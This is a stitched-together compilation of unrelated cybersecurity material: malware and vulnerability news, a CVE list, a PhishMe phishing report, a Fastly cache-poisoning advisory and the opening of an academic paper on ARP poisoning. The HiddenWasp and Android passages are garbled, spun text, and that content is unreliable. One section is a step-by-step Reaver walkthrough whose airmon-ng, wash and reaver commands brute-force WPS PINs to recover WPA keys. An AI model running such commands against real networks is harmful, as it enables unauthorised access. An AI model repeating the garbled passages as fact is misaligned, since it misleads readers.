This area of certificate and key management is becoming more critical as it no longer just touches how I secure my running shoe purchase on Zappos but now it affects how I get software and how I trust that and in todays cloud-based world that is a potentially disconcerting issue. |
Updated July 18, 2019
Unlike the Windows cybersecurity ecosystem, risk
Linux machines have good communication. Note
unknown to the company or security measures
It is not difficult to comment on and defend public opinion
According to the cyber security company
Softzer Intezer is usually wrong with the latest measurements
use the code to appear remotely
always and then. It employs the latest software developed by the company
Now it is something very dangerous to get a job
You have no risk for all popular malware.
Show hidden AUTO CABLE?
The first step in Linux HiredWasp malware is to run the malware launcher. Ang
The secret code uses users of strong and secure passwords and cleans programs to remove old malware.
if the machine is infected.
You need to load the memory file on this server
This includes all applications, including rootkits and Trojans.
This program will try to install the Trojan /etc/rc.local file even if it stops.
Adding pests has many similarities
Open Setup. He shares with China in China
Malware, Adore and Mirai. Depending on the situation
This hidden code can be used by law
Load the tail, click on files, load other scripts and more.
Security investigators have not yet identified the killer. They
You think malware is full of the systems you use
Thieves can therefore be said to use this HiddenWasp method
You need all the information about HiddenWasp Linux malware.
Read the same technical review on the Intezer blog |
There’s more negative news for that Android environment from the protection viewpoint. Guang Gong, a safety investigator utilized by Quihoo 360, has offered results at this season’s PacSec conference in Tokyo that shows a significant weakness within the Android system. The weakness that may quickly be used by individuals with the right understanding is obtainable because of a gaping safety error in Android’s indigenous Opera visitor, but is created much more frightening from the proven fact that it pertains to each and every edition of Android using the newest edition of Opera mounted.
What more increases the shock presented by this weakness, may be with which it may compromise a device no real matter what edition of Android or Opera visitor its operating pace and the comparative simplicity.
PacSec coordinator Dragos Ruiu, who had been current about the PWN2OWN cell which was aware of the demonstration distributed by Gong, mentioned the elegance of the methods utilized:
The shot and application techniques shown were employed to display how the procedure that was simple is with no harm happening towards the device that was used. Nevertheless, if actual hackers using the purpose of removing information and creating harm used within the real life, this v8 weakness, then your application used-to host that distant signal would not be much less active. The information’s speakers have educated Google of the results, that’ll ideally drive the organization into quick and fast motion.
(Source: The Register) |
The BSD libc library was updated recently to address a buffer overflow vulnerability that could have allowed an attacker to execute arbitrary code.
The library is part of the POSIX library, which is used in BSD operating systems, like FreeBSD, NetBSD, OpenBSD. The libc library is also used in Apple’s OS X operating system.
According to Garret Wassermann, a vulnerability analyst at Carnegie Mellon’s Software Engineering Institute CERT/CC who disclosed the vulnerability yesterday, only a handful of implementations that use the library have publicly applied the fix.
The issue stems from problem with the obuf variable in the link_ntoa() function in linkaddr.c. Because of improper bounds checking, an attacker could have been able to read or write from memory.
By examining a phishing campaign, researchers at the Imperva Defense Center have uncovered new ways cybercriminals are leveraging compromised servers to lower the cost of phishing. Phishing is the starting point for most network and data breaches. The campaigns run mostly from compromised web servers and distribute all kinds of malware including ransomware. In this report, we present the different tools used to compromise web servers, phishing platforms offered as a service, fi nancial motivations and the business models of phishing campaigns. We also highlight the importance of intelligence sharing which helped attribute with high confi dence the phishing campaign to a group of known cybercriminals.
Phishing campaigns are often orchestrated from compromised web servers while hosting providers and businesses remain totally unaware of the malicious activity. Compromised web servers used in Phishing as a Service (PhaaS) platforms signifi cantly lower the costs of a phishing campaign and help the cybercriminals hide their tracks. The 2016 Verizon Data Breach Investigations Report (VZ DBIR) documents a signifi cant increase in phishing success over 2015 primarily due to human factors. Endpoint protection mechanisms have failed to contain the spread of malware. If more web servers are hardened, there is a good chance the phishing threat can be mitigated.
The best way to protect web servers from being compromised is to deploy web application fi rewalls (WAFs) that can detect and block advanced injection techniques. The phishing-based malware distribution mechanism relying on compromised servers can be contained only by increasing the security on web servers. If WAFs were deployed as ubiquitously as network fi rewalls, the cybercriminal industry would be seriously crippled.
Phishing is already the easiest way for hackers to steal data and it's getting even easier thanks to the rise of organised criminal groups on the dark web offering phishing-as-a-service schemes to budding cybercriminals and ever-lowering the cost of entry.
According to cybersecurity researchers, this approach to phishing is about a quarter of the cost and twice as profitable as traditional unmanaged -- and labour intensive -- phishing campaigns and follows in the footsteps of other cybercrime-as-a-service campaigns.
The 'Phishing made easy' report from Imperva's Hacker Intelligence Initiative details how a Phishing-as-a-Service (PhaaS) store on the Russian black market offers a "complete solution for the beginner scammer" including databases of emails, templates of phishing scams, and a backend database to store stolen credentials.
Millions of people visiting mainstream websites over the past two months have been exposed to a novel form of malicious ads that embed attack code in individual pixels of the banners.
Researchers from antivirus provider Eset said "Stegano," as they've dubbed the campaign, dates back to 2014. Beginning in early October, its unusually stealthy operators scored a major coup by getting the ads displayed on a variety of unnamed reputable news sites, each with millions of daily visitors. Borrowing from the word steganography—the practice of concealing secret messages inside a larger document that dates back to at least 440 BC—Stegano hides parts of its malicious code in parameters controlling the transparency of pixels used to display banner ads. While the attack code alters the tone or color of the images, the changes are almost invisible to the untrained eye.
The malicious script is concealed in the alpha channel that defines the transparency of pixels, making it extremely difficult for even sharp-eyed ad networks to detect. After verifying that the targeted browser isn't running in a virtual machine or connected to other types of security software often used to detect attacks, the script redirects the browser to a site that hosts three exploits for now-patched Adobe Flash vulnerabilities.
A Turkish hacking crew is luring participants to join its DDoS platform to compete with peers to earn redeemable points that are exchangeable for hacking tools and click-fraud software. The goal, security researchers say, is to “gamify” DDoS attacks in order to attract a critical mass of hackers working toward a unified goal.
The hacking platform is called Surface Defense and is being promoted in Turkish-language Dark Web forums including Turkhackteam and Root Developer, according to Forcepoint Security Labs, the security firm that first uncovered and reported the DDoS platform.
Promoters of Surface Defense are actively recruiting Turkish hackers that may be sympathetic to Turkish nationalist beliefs, Forcepoint believes. Targets of the DDoS attacks range from the Kurdistan Workers Party, German Christian Democratic Party and the Armenian National Institute website in Washington D.C., said Carl Leonard, principal security analyst at Forcepoint. “It’s unclear if those behind the Surface Defense platform are indeed politically motivated or they are simply using politics as a marketing tool to lure hackers into their network.”
Open source webmail provider Roundcube has released an update that addresses a critical vulnerability in all default configurations that could allow an attacker to run arbitrary code on the host operating system.
The flaw is serious because it’s relatively simple to exploit and can allow an attacker to access email accounts or move deeper onto the network.
Researchers at RIPS Technologies, a German company specializing in PHP application security analysis, privately disclosed the bug Nov. 21. Roundcube had the vulnerability fixed on Github a day later, and made an updated version publicly available Nov. 28. Versions 1.0 to 1.2.2 are vulnerable, and users are advised to update to 1.2.3.
Many network security cameras made by Sony could be taken over by hackers and infected with botnet malware if their firmware is not updated to the latest version.
Researchers from SEC Consult have found two backdoor accounts that exist in 80 models of professional Sony security cameras, mainly used by companies and government agencies given their high price.
One set of hard-coded credentials is in the Web interface and allows a remote attacker to send requests that would enable the Telnet service on the camera, the SEC Consult researchers said in an advisory Tuesday.
The second hard-coded password is for the root account that could be used to take full control of the camera over Telnet. The researchers established that the password is static based on its cryptographic hash and, while they haven’t actually cracked it, they believe it’s only a matter of time until someone does. |
Recently, security experts uncovered a disturbing development - ransomware criminals gaining access to a functional exploit for a nearly year-old critical Microsoft SharePoint vulnerability. This alarming revelation was significant enough to prompt its addition to the US's must-patch list by the Cybersecurity and Infrastructure Security Agency (CISA).
Tracked as CVE-2023-29357, this SharePoint vulnerability was initially identified by Nguyễn Tiến Giang of STAR Labs during Vancouver's Pwn2Own contest in March 2023. Classified as a critical elevation of privileges (EoP) vulnerability with a severity score of 9.8, it enables potential remote code execution (RCE). Despite Microsoft addressing it in June 2023's Patch Tuesday, the situation took a darker turn.
Kevin Beaumont, a researcher, revealed that at least one ransomware group possesses a working exploit for CVE-2023-29357. Although CISA stated that the use of this exploit in ransomware campaigns is currently "unknown," the urgency to address it cannot be overstated. When vulnerabilities make it to CISA's known exploited vulnerabilities (KEV) list, federal agencies have a three-week window to patch them, as they are actively exploited by cybercriminals.
The journey of this vulnerability from discovery to exploitation is both intriguing and concerning. Jang's successful chaining of CVE-2023-29357 with another bug at Pwn2Own led to Microsoft's initial fix in June. The proof of concept (PoC) code for CVE-2023-29357 landed on GitHub in September, creating a foundation for potential exploitation.
Despite the warnings issued in September about the PoC code providing a launching pad for cybercriminals, the ransomware attacks did not materialize as expected. The delay may be attributed to the complexity involved in chaining CVE-2023-29357 with CVE-2023-24955. Jang and his team spent nearly a year of meticulous effort and research to achieve this feat, emphasizing the sophistication of the exploit.
The urgency for IT administrators to patch both CVE-2023-29357 and CVE-2023-24955 is underscored. Applying the June 2023 Patch Tuesday updates alone won't suffice, as manual, SharePoint-specific patches are required. The process ensures that the fixes are correctly applied since Windows Update won't install these patches automatically.
The severity of CVE-2023-29357 lies in its potential to grant administrator privileges, posing a severe threat to organizations. Meanwhile, CVE-2023-24955, although requiring privileges for remote exploitation, carries its own risks. NHS Digital reports no known proof of concept code for the RCE vulnerability circulating online, indicating a secretive development by those exploiting it.
In conclusion, the revelation of ransomware gangs exploiting the CVE-2023-29357 vulnerability serves as a stark reminder of the evolving nature of cyber threats. Organizations must remain vigilant, understanding that the delay in exploitation does not diminish the severity of the risk. Swift action, thorough patching, and ongoing cybersecurity measures are paramount to safeguarding against emerging threats in the digital realm.
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apache vulnerabilities and exploits
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Multiple cross-site scripting (XSS) vulnerabilities in component handlers in the javatemplates (aka Java Templates) plugin in Apache Struts 2.x before 2.2.3 allow remote attackers to inject arbitrary web script or HTML via an arbitrary parameter value to a .action URI, related...
2 Github repositories available
In Apache Synapse, by default no authentication is required for Java Remote Method Invocation (RMI). So Apache Synapse 3.0.1 or all previous releases (3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1) allows remote code execution attacks that can be performed by injecting specially...
3 Github repositories available
org/apache/catalina/core/DefaultInstanceManager.java in Apache Tomcat 7.x before 7.0.22 does not properly restrict ContainerServlets in the Manager application, which allows local users to gain privileges by using an untrusted web application to access the Manager...
In Apache ActiveMQ 5.0.0 - 5.15.8, unmarshalling corrupt MQTT frame can lead to broker Out of Memory exception making it unresponsive....
Multiple cross-site scripting (XSS) vulnerabilities in XAMPP 1.4.x allow remote attackers to inject arbitrary web script or HTML via (1) cds.php, (2) Guestbook-EN.pl, or (3) phonebook.php....
1 EDB exploit available
Apache ActiveMQ before 5.6.0 allows remote attackers to cause a denial of service (file-descriptor exhaustion and broker crash or hang) by sending many openwire failover:tcp:// connection requests....
mod_access in Apache 1.3 before 1.3.30, when running big-endian 64-bit platforms, does not properly parse Allow/Deny rules using IP addresses without a netmask, which could allow remote attackers to bypass intended access restrictions....
Apache NiFi before 0.7.4 and 1.x before 1.3.0 need to establish the response header telling browsers to only allow framing with the same origin....
Multiple cross-site scripting (XSS) vulnerabilities in the (1) Manager and (2) Host Manager web applications in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.36, 5.0.0 through 5.0.30, 5.5.0 through 5.5.24, and 6.0.0 through 6.0.13 allow remote authenticated users to...
The (1) mod_dav_svn and (2) svnserve servers in Subversion 1.6.0 through 1.7.19 and 1.8.0 through 1.8.11 allow remote attackers to cause a denial of service (assertion failure and abort) via crafted parameter combinations related to dynamically evaluated revision numbers.... |
REAVER ATTACK WITH BACK TRACK 5 R3 TO WEP, WPA AND WPA2 NETWORKS WITH WPS STANDARD ROUTER.
The WPS system fails in one of the methods that the standard has when adding new equipment to our WiFi network, specifically the one that uses a PIN number, since the client trying to connect to the network can send any PIN number of 8 digits and if it does not match that of the access point, it indicates the error but it has been discovered that sending only the first 4 digits a response is obtained. Thus, the number of possibilities to find out the number drops from 100 million combinations to no less than 11.000, so it is a matter of achieving it with a brute force attack in a matter of hours.
Initially we see the existing network adapters.
Monitor mode is enabled.
Command airmon-ng start wlan0, the mon0 interface must be enabled, which is the one with which the reaver attack will be launched.
Graph steps 1 and 2 ..
We check the networks that have the WPS unlocked that can be attacked (note if giving the command no network appears, it means that there are no networks with these characteristics in the area).
Command wash them mon0
4TH AND LAST STEP.
We started our attack, which is not by packets like the previous ones, it is by pins, the system tests all possible combinations of a group of 8 digits (note in the networks that were violated the pin was 12345670) in case of having another combination it is takes 1-2 hours) you need to access the key.
Command reaver -i mon0 -b (bssid) -c (channel) -vv
how can you see the pin is 12345670
and the key is 364137324339… AND THE NETWORK IS A WPA. |
Cold wallets aren’t connected to the internet, which renders them much safer than other digital wallets. They generate public and private keys, which are printed on a physical piece of paper. Any crypto stored on the cold wallet can only be accessed if you have that paper’s keys in your possession. Other than the blockchain, […]
Cryptocurrencies have increased in popularity in recent years. Consequently, blockchains have also been the target of cybercriminals. Cryptos, like Bitcoin, use security keys to protect currency with unique corresponding sets of letters and numbers. Despite these measures, bad actors are increasingly using cryptocurrencies to steal information and collect ransom. Before purchasing a coin, make sure […]
Any internet-connected device with a CPU is susceptible to cryptojacking. The following are commonly targeted devices: Computer systems and network devices – including those connected to information technology and Industrial Control System networks; Mobile devices – devices are subject to the same vulnerabilities as computers; and Internet of Things devices – internet-enabled devices (e.g., printers, […]
Malicious cyber actors use cryptocurrency-based malware campaigns to install cryptomining software and hijack the processing power of victim devices and systems to earn cryptocurrency. Cryptojacking may result in the following consequences to victim devices, systems, and networks: Degraded system and network performance because bandwidth and central processing unit (CPU) resources are monopolized by cryptomining activity; […]
Ransomware is not new – it dates back to the 1980s – but it has undergone a renaissance throughout the 2010s, to the extent that it looks almost nothing like it did in its early days. Perpetrators have enhanced various strains with strong encryption (CryptoLocker), designed them to exploit protocols such as Microsoft Windows SMB […]
Use Cybersecurity best practices to help you protect your internet-connected systems and devices against cryptojacking. Use and maintain antivirus software, it recognizes and protects a computer against malware, allowing the owner or operator to detect and remove a potentially unwanted program before it can do any damage. Keep software and operating systems up-to-date so that […]
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The Internet of Things (IoT) is one of those concepts that seems to be gaining irreversible momentum in the world of technology. The basic concept - that every object in our daily lives, from refrigerators to thermostats to lights is WiFi enabled and connected to our networks - is an appealing one to many, offering up a Jetsons-like future where your home responds to your needs and commands. Developers in this space envision a future where your refrigerator can order milk from an online delivery service when it senses your stock getting low and your furnace can switch on 20 minutes before you get home to maximize efficiency and comfort.
As a security professional, however, reading this might well be sending up the brightest of red flags. From a network and cybersecurity perspective, every wireless-enabled device represents a potential access point for malicious actors - and if people struggle to keep their antivirus up to date, how many users are going to take care to update their smart toaster’s firmware?
Indeed, such networks are already being exploited. The Mirai botnet uses IoT devices to support DDoS attacks that resulted in several prominent outages last year, and by the looks of things, this trend is going to continue.
“The Mirai botnet has forced stakeholders to recognize the lack of security by design and the prevalence of vulnerabilities inherent in the foundational design of the Internet of Things devices leveraged in the attack,” conclude the Institute for Critical Infrastructure Technology in its report on the phenomenon, somewhat ominously titled Rise of the Machines. “In fact, due to a saturated pool of bot victims, script kiddies have already begun adapting the malware to new victim hosts or adopting new malware altogether. Mirai presents an interesting case study because its operation and activity inform the security community of threat actor trends in targeting, services, and capabilities.
Put simply, the most common and likely problem created by the IoT is the way it creates new possibilities for DDoS attacks that can knock out specific services or websites by flooding them with traffic. The devices, once infected, send constant requests to a single address mimicking legitimate traffic. Eventually, the sheer bandwidth of malicious and legitimate requests simply crashes the target, or forces their Internet Service Provider (ISP) to shunt the traffic into a “black hole.”
In October 2016, the Mirai botnet conducted just such an attack on Dyn, an internet performance management firm whose products are employed to control traffic and mitigate such attacks. By sending tens of millions of DNS lookup requests to Dyn, they crashed the service and rendered dozens of major sites like Netflix, CNN, Reddit and others completely inaccessible.
The total bandwidth employed in the attack is estimated at 1.2 Tbps - making it one of the largest such attacks on record.
“We have a serious problem with the cyber insecurity of IoT devices and no real strategy to combat it,” David Fidler, an adjunct senior fellow for cybersecurity at the Council on Foreign relations told the Guardian. “The IoT insecurity problem was exploited on this significant scale by a non-state group, according to initial reports from government agencies and other experts about who or what was responsible. Imagine what a well-resourced state actor could do with insecure IoT devices.”
As with most security issues, the old maxim holds true - “an ounce of prevention is worth a pound of cure.” Limiting the number of web-enabled devices within an organization to the operationally necessary amount is never a bad idea. Every WiFi-enabled device you remove or limit is one fewer access point or potential botnet member.
Similarly, it’s important to review the technologies and the safety measures on the IoT devices - as well as conventional computers - you do employ. There are distinct differences between those firms producing such technology that take security access seriously and those for whom it’s an afterthought. The nature of these products makes it complex - after all, most reviews for a printer, for example, don’t include information about its security features - but it’s worth the extra time and expense to prevent a costly and devastating attack.
Beyond the prevention aspect, however, you need to prepare for the somewhat inevitable possibility of a breach. We live in an era where even global intelligence agencies routinely end up leaking data and experiencing security failures. Once these do occur, what matters is how quickly and effectively you react.
IoT devices vastly increase the number of potential failure points in your networks - networks that are already extremely complex and interwoven. Untangling and tracking down a specific access violation is a challenging task - but one that’s made significantly easier by technology.
As a big data analytics system, Visallo gives cybersecurity professionals and intelligence analysts the most important tools to deal with these massive data sets. It allows investigators to aggregate a range of different sources into a unified platform. With this technology, you can craft powerful visualizations of the connections between disparate inputs and actions. Web-enabled devices may be proliferating, which makes it all the more important to invest in tools that can keep pace.
Visallo’s benefits extend to a suite of collaboration tools equipped with granular access controls. Administrators get the ability to limit access privileges for each user. This ensures everyone can access the most important data without risking accidental exposure of data. When an investigation employs multiple parties and stakeholders, Visallo makes it possible for each to work on their piece of the puzzle, while sharing their work with everybody else.
The IoT may represent a new and risky development for security professionals, but it doesn’t have to be overwhelming. The tools now exist to cope with this new reality. |
Our Phishing Defense Center identified and responded to attacks leveraging a relatively new Microsoft Office vulnerability during the past few weeks. Last week, the PDC observed threat actors exploiting CVE 2017-0199 to deliver the Smoke Loader malware downloader which in turn was used to deliver the Zeus Panda botnet malware. These emails claim to deliver an invoice for an “outstanding balance” and trick the recipient to opening the attached file. In one instance, we have also seen the malicious attachment being delivered via URL.
The subject lines of the emails followed a pattern of alphanumeric characters and the phrase “Invoice Past Due” Example below.
An example of the phishing email used in these attacks is shown below.
The following URL was also identified in one example delivering a malicious document.
hxxp://3tco.com[.]vn/index.html.php?id=<base64 email address>
The files delivered by these emails is an RTF document containing an OLE object used to exploit the CVE-2017-0199 vulnerability. Once opened, the exploit is used to run code that facilitates the download of a file from a remote host. The downloaded file is a Microsoft Office Word document disguised with the .xls extension containing embedded malicious code. Once the file download is complete it is automatically loaded into the original RTF document. A vulnerability in this loading process is used to affect how the contents of the downloaded file are interpreted and to execute the malicious code inside. Once this embedded code is executed it downloads a malicious executable and a decoy “accounts payable documentation report”. This benign document is displayed to disguise the threat actors’ activities and then the executable is run. The downloaded executable is a sample of the Smoke Loader malware downloader.
Upon execution, this Smoke Loader sample obtains a copy of the Zeus Panda banking trojan. Once run on the machine, this malware application performs extensive checks to determine whether it is running in a virtualized or analysis environment before contacting its command and control hosts. Once contact has been established, these hosts will provide update instructions and configuration data used to guide the financial crimes and botnet Trojan’s activity on infected machines.
The following section details how the CVE-2017-0199 vulnerability is exploited and it’s IOCs
This vulnerability takes advantage of Microsoft Office’s and WordPad’s handling of OLE embedded link objects in RTF files. Exploitation abuses certain control words in the rich text file format to update an object link which allows for a malicious file to be downloaded. The downloaded file is typically another RTF file containing embedded malicious script which is executed when Microsoft attempts to load it as an OLE object.
The following document files were identified as leveraging an exploit for CVE-2017-0199.
The following URLs were used to provide a malicious payload for execution by this document.
A commonly used malware downloader, the Smoke Loader malware operates using a set of command and control hosts to provide instructions to the malware for downloading additional payloads. While the locations of these command and control hosts are hardcoded into the Smoke Loader binary, the payload locations are not. The payload locations are instead obtained from the Smoke Loader command and control in response to the malware’s HTTP requests. The following Smoke Loader files were used in this campaign.
After completing its initial check-in with command and control infrastructure, this Smoke Loader instance obtained its payload set from the following locations.
The following file set was identified as used in this campaign to infect machines with malware featuring extensive anti-analysis functionality including the ability to detect multiple forms of virtualization and physical device restoration utilities.
The following payload locations were used by Zeus Panda to obtain it’s payloads.
The command and control hosts below were used to support this malware. These command and control hosts are used to log records of new infections as well as to provide configuration data that is used by the malware to conduct extensive credential-stealing operations. Credentials are primary stolen via web injects that are customized for customers of each financial institution listed in the configuration document.
Finally, we the executable below was identified within an infected environment at the completion of the infection process.
PhishMe® cautions its customers to be wary of emails containing suspicious links or attachments. Specific to this sample, we recommend that customers be observant for emails that contain subject lines as described above. PhishMe Simulator™ customers may consider launching simulations that follow this style of attack to further train their users to detect and report suspicious emails. A simulation template will be available by end of day.
Don’t miss another threat – stay on top of emerging phishing and malware threats and attacks, all delivered straight to your inbox completely free. Subscribe to PhishMe Threat Alerts today. |
Google’s cybersecurity team released a report detailing a malicious campaign, where threat actors are using compromised Google accounts for mining cryptocurrencies on Google Cloud.
Google’s report mentioned that these threat actors are using phishing campaign as their attacking vectors, luring people in various means to hand over their credentials. Google warned them to be vigilant and secure.
Mining on Google Cloud
Cryptocurrency mining is a highly resource-intensive task, which needs high-performing hardware to mint coins at a rate leveling with other peers in the network. This could hardly be lucrative if one is doing such on average hardware, so malicious people depend on others to mine coins for themselves.
Hackers are doing the same too, and it’s called Cryptojacking. The latest report – Threat Horizon – from Google’s cybersecurity team revealed that hackers are using Google Cloud for mining cryptocurrencies! And this is done through compromising Google accounts of people all over the world
Google said that threat actors like Fancy Bear, a Russian APT was spotted sending phishing emails, where they’re scaring people about being hacked by a state-backed hacker, so need to log into their Google account for securing. And they passed on a phishing site to lodge entered credentials.
Also, there were North Korean hackers targeting information security people in South Korea, asking for details on the name of offering jobs. All these credentials are immediately used for accessing and inserting a cryptocurrency miner, for mining coins.
Google said that, in more than 86% of cases where the accounts were compromised, hackers dumped a cryptocurrency miner in just 22 seconds to start on their works. This is how fast the threat actors were to exploit stolen accounts.
They do this to victim’s Google Cloud account, which is a remote online storage service, letting users save data and files securely. As these are run on high-performing hardware owned by Google, they’re chosen by hackers for this mining work.
Other Trending News:- News |
Fastly service configurations may be vulnerable to cache poisoning if they do not take into consideration the interaction between HTTP "X-" headers used by backends to select content. This vulnerability can be mitigated using a VCL patch or by modifying backend configurations.
When cache poisoning can occur
If one or more of your backends uses the contents of the X-Forwarded-Host, X-Rewrite-URL, or X-Original-URL HTTP request headers to decide which of your users (or which security domain) it sends an HTTP response for, you could be impacted by vulnerability. If your site’s Fastly configuration passes one of these headers to your backend and does not factor the contents of it into the effective edge cache key (for example, explicitly or via the Vary HTTP response header), an attacker could potentially cause the edge to store a response with arbitrary content inserted into a victim’s cache.
An attacker might be able to poison a Fastly customer URL by sending an HTTP request to a site that causes the affected backend to respond with an attacker-controlled response. The malicious response object would be stored in the site’s cache at a poisoned URL. An attacker could then potentially lure a victim site user into browsing the poisoned URL, where they would be served malicious content.
How to mitigate cache poisoning
If your origin uses special values to select content for users or to otherwise select between security domains, consider reconfiguring your origin server and applying any corresponding security updates as suggested in our original security advisory. In addition, strip or normalize the values of X-Forwarded-Host, X-Rewrite-URL, or X-Original-URL in VCL.
To do this, set the vulnerable headers to a known-safe value or unset the headers completely. For example, the X-Forwarded-Host header can be set to the value of the Host header via the following VCL snippet:
set req.http.x-forwarded-host = req.http.host;
The X-Original-URL header can be unset via the following VCL snippet:
And X-Rewrite-URL can be unset via the following VCL snippet:
Alternatively, the values could be included in your cache key or Vary header to prevent caching of content across security domains. See our guide to manipulating the cache key for more information. |
- Open Access
Mitigating ARP poisoning-based man-in-the-middle attacks in wired or wireless LAN
© Nam et al; licensee Springer. 2012
- Received: 31 May 2011
- Accepted: 6 March 2012
- Published: 6 March 2012
In this article, an enhanced version of address resolution protocol (ARP) is proposed to prevent ARP poisoning-based man-in-the-middle (MITM) attacks in wired or wireless LAN environments. The proposed mechanism is based on the idea that when a node knows the correct MAC address for a given IP address, if it does not delete the mapping while the machine is alive, then MITM attack is not possible for that IP address. In order to prevent MITM attack even for a new IP address, we propose a new IP/MAC mapping conflict resolution mechanism based on computational puzzle and voting. Our proposed scheme can efficiently mitigate ARP poisoning-based MITM attacks, even in Wi-Fi hot-spots where wireless machines can easily come and leave, since the proposed mechanism does not require manual configuration if the proposed ARP is deployed through operating system (OS) upgrade. The proposed scheme is backward compatible with the existing ARP protocol and incrementally deployable with benefits to the upgraded machines.
- Medium Access Control
- Wireless Local Area Network
- Malicious Node
- Medium Access Control Address
- Address Resolution Protocol
The address resolution protocol (ARP) is used to find the media access control (MAC) address of a node corresponding to a given IP address in the same subnet [1, 2]. The resolved addresses are temporarily kept in the ARP cache to reduce the resolution time and avoid additional ARP traffic overhead for recently resolved IP addresses .
The ARP poisoning attack refers to the behavior of registering a false (IP, MAC) address mapping in the ARP cache of another node for malicious purposes. As an example, when there are three different nodes A, B, and C in the same subnet, if Node A registers the (IPC, MACA) mapping in the ARP cache of Node B, then it is an ARP poisoning attack of Node A. If the above attack is successfully made, Node A can receive all the packets from B to C because B considers that MACA is the MAC address of Node C and sends all the traffic for C to MACA. Thus, ARP poisoning enables the attacker to eavesdrop the communication between other nodes, modify the content of the packets, and hijack the connection. This ARP poisoning can also be used to launch a denial-of-service (DoS) attack . For example, if an attacker replaces the MAC address of a particular host with another value in the ARP cache of a remote machine, then the victim will experience DoS since it cannot access the original host due to the wrong MAC address. Furthermore, ARP poisoning can be used to mount man-in-the-middle (MITM) attack . In the above example, if Node A registers the (IPB, MACA) mapping in the ARP cache of node C additionally, then Node A can see all the packets that are exchanged between Nodes B and C. If this attack occurs, the adversary may eavesdrop, insert, or modify the messages between the victims of the MITM attack, without being detected.
If an operating system accepts any ARP reply message even though it did not send any ARP request messages, then just one transmission of the ARP reply packet will be enough to register a false (IP, MAC) mapping in the node running that operating system. Even for operating systems that do not accept unsolicited ARP reply packets, it is possible to induce an ARP request message for a specific IP address by sending a spoofed ICMP echo request packet and to register a false (IP, MAC) mapping for that IP address .
The ARP spoofing issue was first investigated in the environment of wired local area network (LAN), i.e., Ethernet. However, it is becoming easier to access Internet via wireless LAN, i.e., 802.11 network, due to the widespread deployment of access points (APs) by many Internet service providers (ISPs). Thus, ARP spoofing can also be an important issue in the wireless LAN environment. According to , there can be many scenarios whereby a wireless attacker poisons the ARP caches of other wireless nodes, connected through the same AP or different APs, or it poisons the ARP caches of other wired nodes in the same subnet. Although there have been several attempts to resolve the ARP cache poisoning problem in the wired LAN environment, some of those approaches may not be effective in a different environment of wireless LAN.
Conventional approaches can be classified into two categories depending on whether the ethernet switch upgrade is required or not. dynamic ARP inspection (DAI) requires the support from the ethernet switches. DAI usually requires manual configuration by network managers and cannot prevent ARP poisoning occurring between wireless nodes connected through the same AP. The methods that do not require support from Ethernet switches usually use cryptographic techniques [9, 10]. Since most of these methods use public key cryptography, there should be a central server to distribute the public key of each node reliably. However, this central server could be subject to a single point of failure problem.
Furthermore, the public key of the central server itself and the MAC address of the server need to be delivered to each node reliably. This step usually requires manual setting by the network manager, and it may not be appropriate for the environment of Wi-Fi hot-spots where wireless machines can easily come and leave.
Thus, we investigate a new mechanism to prevent ARP spoofing-based MITM attacks in wired or wireless LAN environments, while overcoming the limitations of existing approaches. The proposed scheme makes the upgraded normal nodes protect each other through collaboration based on voting and computational puzzles. Since the public key cryptography is not required, the manual setup or configuration is not required for the newly arriving wireless nodes and it is free from a single point of failure problem due to the absence of any central server. The remainder of the article is organized as follows. We first discuss related study in Section 2. Section 3 describes the proposed enhanced version of ARP. In Section 4, the performance of the proposed mechanism is verified through experiments in a testbed environment. Finally, conclusions are presented in Section 5.
As explained in Section 1, neglecting unsolicited ARP replies cannot prevent ARP cache poisoning, since ARP requests can be easily induced by source address-spoofed ICMP echo request messages. If the member nodes of a given subnet do not change frequently, then the ARP cache poisoning might be avoided by employing static ARP. However, this approach may be infeasible in an environment where the IP addresses are allocated to mobile nodes dynamically through Dynamic Host Configuration Protocol (DHCP). DAI corresponds to the approach that requires the support of ethernet switches . In the DAI, the ethernet switch checks the validity of the received ARP packet based on the trusted IP-to-MAC mapping database. However, this database is either manually managed or dynamically managed through DHCP snooping . In order to perform DHCP snooping, the port on which the network DHCP server is connected needs to be configured as a trusted interface, and other ports need to be configured as untrusted interfaces. However, this approach may not be effective, if the ARP cache poisoning occurs among the wireless nodes connected via the same AP. In this article, we attempt to devise a method to prevent ARP poisoning-based MITM attacks with minimal overhead of manual configuration by the network administrator or by the user, and with minimal infrastructure upgrade cost.
The approaches that do not require the upgrade of ethernet switches can be classified into two sub-categories based on the use of cryptography. Antidote is a non-cryptographic approach. If a new ARP reply, which is insisting on a new MAC address for an existing IP address, arrives, the new (IP, MAC) mapping is accepted, only when the node corresponding to the previous MAC address is not alive. However, there is a problem in Antidote. When a normal machine sends an ARP request for an IP address which is not in the ARP cache currently, if a malicious ARP reply arrives first, then the victim caches the wrong reply and discards the later ones. Thus, MITM attack can be successful under this race condition. The proposed scheme shares the basic concept, preservation of (IP, MAC) mapping while the node corresponding to the original MAC address is alive, with the Antidote, but resolves the race condition in a different way using computational puzzle-based voting.
S-ARP is a popular cryptography-based approach. Although S-ARP requests operate in the same way as normal ARP requests, S-ARP replies need to be signed by the sender's private key and the signature needs to be verified using the sender's public key at the receiver side. Since S-ARP is based on asymmetric cryptography, it requires a central server called authoritative key distributor (AKD) to manage the mapping between the IP address and the corresponding public key. If the AKD fails, the whole system may not work, i.e., S-ARP has a single point of failure problem. In addition, S-ARP usually requires the upgrade of the DHCP server and incremental deployment is not easy, since the S-ARP-enabled machine may not accept ARP replies from non-S-ARP nodes.
Goyal and Tripathy proposed a modified version of ARP to lower the computational cost of S-ARP. This avoids the calculation of digital signature for each ARP reply by allowing the use of the same digital signature several times over multiple ARP replies during a pre-defined time period, while ensuring the recency of the mapping in the digital signature through one time passwords. Although the computational cost is relieved, it has the same limitation as S-ARP: a single point of failure problem due to AKD, and the cost of manual configuration to disseminate the public key and the MAC address of AKD to all newly arriving hosts.
Ticket-based ARP (TARP) is another approach to reduce the computational cost of S-ARP by employing the concept of ticket, centrally generated IP/MAC address mapping attestation. However, TARP also requires manual dissemination of Local Ticket Agent (LTA)'s public key, and LTA might be subject to a single point of failure problem.
